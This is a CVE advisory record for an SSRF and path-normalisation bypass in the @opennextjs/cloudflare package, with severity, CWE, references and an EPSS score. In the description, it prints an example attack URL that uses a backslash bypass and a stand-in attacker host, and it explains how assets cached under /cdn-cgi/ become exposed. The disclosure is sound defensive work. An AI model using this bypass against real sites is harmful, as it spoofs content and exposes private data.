# CVE-2026-3125

## Summary

- **CVE ID:** CVE-2026-3125
- **Severity:** HIGH
- **CVSS Score:** 7.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N)
- **CWE:** CWE-918, CWE-706
- **Published:** Mar 4, 2026
- **Last Modified:** Mar 12, 2026

## Description

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example: 

 https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com 

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

## Affected Products

- opennextjs — @opennextjs/cloudflare (0)

## References

- [CNA](https://github.com/opennextjs/opennextjs-cloudflare/pull/1147)
- [CNA](https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1)
- [CNA](https://github.com/advisories/GHSA-rvpw-p7vw-wj3m)
- [CNA](https://www.cve.org/cverecord?id=CVE-2025-6087)

## Exploitation Prediction (EPSS)

- **EPSS Score:** 0.36%
- **EPSS Percentile:** 29.6

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_Exported from OnDuty AI Vulnerability Intelligence on 2026-09-11._